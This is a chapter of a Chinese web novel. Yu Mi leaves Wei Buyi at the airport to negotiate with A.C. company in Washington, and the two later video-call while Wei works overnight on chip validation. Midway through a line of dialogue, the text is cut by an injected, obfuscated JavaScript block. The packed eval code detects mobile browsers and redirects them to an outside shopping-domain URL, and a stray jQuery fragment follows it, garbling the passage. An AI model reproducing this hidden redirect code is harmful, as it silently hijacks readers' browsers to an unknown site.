机场高速平缓而通畅,郁弥看着窗外的景色不停地倒退,危不倚停下车时,他才发现时间比他们预想的还要早一些。
停了车,两人在机场旁找了家咖啡店。
郁弥蠢蠢欲动。
危不倚警觉:“你想干什么?”
郁弥指了指刚刚拿出来露出一个角的电脑。
“万一有什么需要及时处理的工作。”飞机上虽然也有Wi-Fi,但现在直接做完会更好吧。
危不倚见状忍不住揶揄道:“跟我比起来,你才是工作狂吧?”
“彼此彼此。”郁弥不甘示弱,“好像也没有别的事情可以干了。”话是说得挺不服气的,但郁弥在危不倚的视线下,还是不得不放弃了打开电脑工作的想法。他有些无聊,干脆放空思绪,看着澄蓝色的天空发了会儿呆。
危不倚悠闲地抿了口咖啡。
今天是个好天气,万里无云,想来这次航班应该会十分顺利。
郁弥突然想起来似的,开始在自己的口袋里翻找起来,“找到了,我果然带在了身边。”他似乎松了口气,从口袋里拿出了一枚护身符。
危不倚一看便认出来这是当时他们从厦市回来,经历了台风被迫备降在临市回来后,他在龙枳寺给郁弥求来的。
纳米高新材料,水火不侵!
郁弥将护身符对着太阳照了一遍,“有这个的话,这次一定不会出现意外。”
危不倚刚刚还在微笑,一下子瞪了他一眼,赶忙说道:“童言无忌!”
郁弥嘴角的笑意扩大,将护身符收起来贴身保存。
这可是很重要的东西。
危不倚开始和他有一搭没一搭地聊着天,跟郁弥在一起时间总是过得很快,永远也不会觉得无聊,他们的聊天内容天南海北,一点儿逻辑都没有,却在无意中冲淡了郁弥即将离开而产生的惆怅。
危不倚不喜欢告别。
可时间却滴滴答答地向前。
郁弥看了眼时间,起身说道:“差不多了。”
Check in、托运行李,办完这些后离起飞还有一个半小时。
一直磨磨蹭蹭地拖到最后一刻,郁弥才平静地说道:“我该去安检了。”
危不倚走在他的身旁,一直跟到了安检处,再往里就要郁弥一个人进去了。
“……”危不倚面露不舍。
郁弥哄他:“只有几个月,最多不会超过半年。”
这些危不倚早就知道了,可他还是踟蹰着,“我们从来没有分开这么久过。”
郁弥讶然:“真的没有过吗?”
危不倚无奈,还不忘提醒他:“你要记得——”
“多添饭,多加衣,我已经背下来了。”郁弥眸色转深,沉沉地看着危不倚,“你变得好啰嗦。”
他的眼神让危不倚越发地心虚,只要抿着嘴唇,“那你走吧。”
他打算背过身,等郁弥转身了才目送他离开,却没想到郁弥突然拉住了他的手臂,在他反应过来之前,凑上前亲了下危不倚的脸颊。
“我会想你的。”
“每天?”
“嗯。”
他们都不算是喜欢直接表达感情的人,明明什么亲密的事情都做过了,可说完这些话还是不自在地别开了脸。郁弥觉得自己的耳朵有些发烫,轻声说了句:
“等我回来。”
“好。一路顺风。”
郁弥拿着护照和机票,慢慢后退。
危不倚隔着玻璃,一直跟着郁弥,被拦下后还站在原地,直到他再也看不见郁弥的身影。
——当你离开我越久,我才越是觉得靠近你。
爱意远望而弥漫。
危不倚在原地站了好一会儿,才如梦初醒般回过神,转身离开。
*
度过了漫长而无聊的飞行后,郁弥一落地,提前等候在机场准备接他的工作人员直接将他送去了酒店。
天气预报上说今天的华盛顿也会是一个好天气,苍蓝色的微光在城市的天际线亮起,将明未明,显示出一种躁动前的平静。郁弥平静的心情也有了些起伏,他感觉到了似乎从身体里溢散而出的激动,他听见了自己清晰的心跳声。
“郁先生,我们到了,”工作人员请他下车,“您先好好休息,跟A.C.公司的第一次协商安排在后天下午,到时候我们也会来接您。”
郁弥正闭目养神,闻言点头:“你们也辛苦了。”
在正式开始进入与A.C.公司的协商之前,他还需要去拜访一位同学。这还是多亏了凌灿的关系,这位专家是他在美国读博时的师兄,目前担任业内一家芯片制造公司的高管,同时与星合和A.C.双方都有合作,郁弥只希望能通过他从中调和,以免双方的情况进一步恶化。
台面上的流程按部就班地进行着,台面下的博弈也不容小觑。
郁弥在抵达酒店后,立刻给危不倚发了条消息,让他放心,接着拉上窗帘,沾到床的一瞬间就昏睡了过去。
这一觉睡醒就到了十个小时候,郁弥睁开眼,时差才算是倒了过来。他没急着起身,在床上躺了一会儿,拿起放在床边充电的手机。
屏幕上,危不倚发了连续好几条消息过来。
【早安。日安。晚安。】
他不知道郁弥什么时候会醒,干脆一股脑儿地都发了。
郁弥蒙着被子笑出了声,好像一天堆积的疲惫都消失了。
接着故意跟他唱反调:【早上坏。】
算算时间,危不倚应该也在睡觉,没有看到他的消息。
从现在开始,适应有时差的生活!郁弥心想,这段时间危不倚总是陪在他的身边,都快让他忘了独自一个人是什么滋味了。
过了一会儿,郁弥伸了个懒腰,准备从床上起来,就听见手机铃声响了。
他穿上外套,接通了危不倚的视频通话邀请,把手机放在枕头上。危不倚的脸也像是刚刚睡醒,可背后的环境却不是他们的家。
“你刚醒吗?”他的声音还泛着困意。
“嗯,正准备出去吃点东西。”郁弥看了眼时间,现在华国应该还是凌晨,不禁皱眉问道:“你昨晚不会是通宵了吧?”
“事实上,是想你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182798|144883||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想得睡不着。”
“好肉麻,”郁弥佯装被他的话刺激到了,“快变回你原来的样子。”
危不倚轻声笑了起来,仿佛电流穿过郁弥的耳朵。
“昨晚是硅后验证的重要节点,我也一起加班了。”危不倚随意地说道。
郁弥没再继续说什么指责或吐槽的话,危不倚以前也是这样的,忙起来就不管不顾的。郁弥在他身边的时候还能拉住他,现在他一走,危不倚就更肆无忌惮了。
“就算你不需要休息,别人也需要的。”郁弥建议道。
“嗯,你说的对,所以我让他们都回去了,自己在实验室里支了张床。”危不倚的语气听起来还带着些得意,举起手机让郁弥看了眼他所在的实验室的环境。
然后他就听见了郁弥的磨牙声,立刻收敛了表情。
“放心,我知道分寸。”危不倚安慰他,“就快要结束了。”
郁弥抿了下嘴唇,“你有几成把握?”
“我没有办法给你一个准确的答复,虽然我很想这么告诉你,放一万个心吧,相信我,一定会成功的。”危不倚笑了笑,看了眼身旁正在运行的机器。以万为基础数字单位的晶体管正在运作着,将一个个数据导入电脑,当电流通过时,像是流淌的血液正在为心脏输送氧气。
每一个环节都充满了不确定性,就像他们活在这个世界上,每天都要面对不同的意外,他所做的是在各种可能中找出最终的解决方案。
是的,他们本身就栖息在无数即将被确定的可能中。
“我明白。”郁弥并不感到失望。
人总是心存侥幸,想要一个确定的答案。
如果危不倚能看见成功的希望,他们身上的压力就会减少很多。他也会对接下来的谈判多一些信心。
郁弥用力搓了一下自己的脸,“我这边的话,明天就会有进展。”
“不要把自己逼得太紧。”危不倚说道,“最快的话,下个月初会向FAB提交流片方案。”
“你也是。”郁弥的手指在屏幕上轻点,代替了晚安吻,“我等你的好消息。”
“会的。”
危不倚让郁弥先挂掉视频通话,他等对方的脸消失在屏幕里,才关掉了手机,重新躺回支架床上。
环绕在身边的机械电子音滴滴答答地响动着,仿佛一种规律的白噪音,危不倚停了一会儿,便起身重新投入到了新的工作中。
今天最早来公司的是方可圆,她一进保密区,就看见危不倚的肩膀上挂着毛巾,手里拿着杯子正从洗手间出来。
两人见面,都有些惊讶。
“怎么来这么早?”危不倚问道。
“有临时会议,美国的代理事务所需要我们提供一些新的材料,会对接下来的庭审有帮助。”方可圆冷静地说道。
“加油。”危不倚鼓励了她一句,“继续给你升职加薪送年假。”
唐突吃饼的方可圆有些受宠若惊,连忙说道:“我,呃,谢谢老板!”
待危不倚走远,方可圆才听见他欣赏又较劲似的说了句:“我可不能再输给你了……”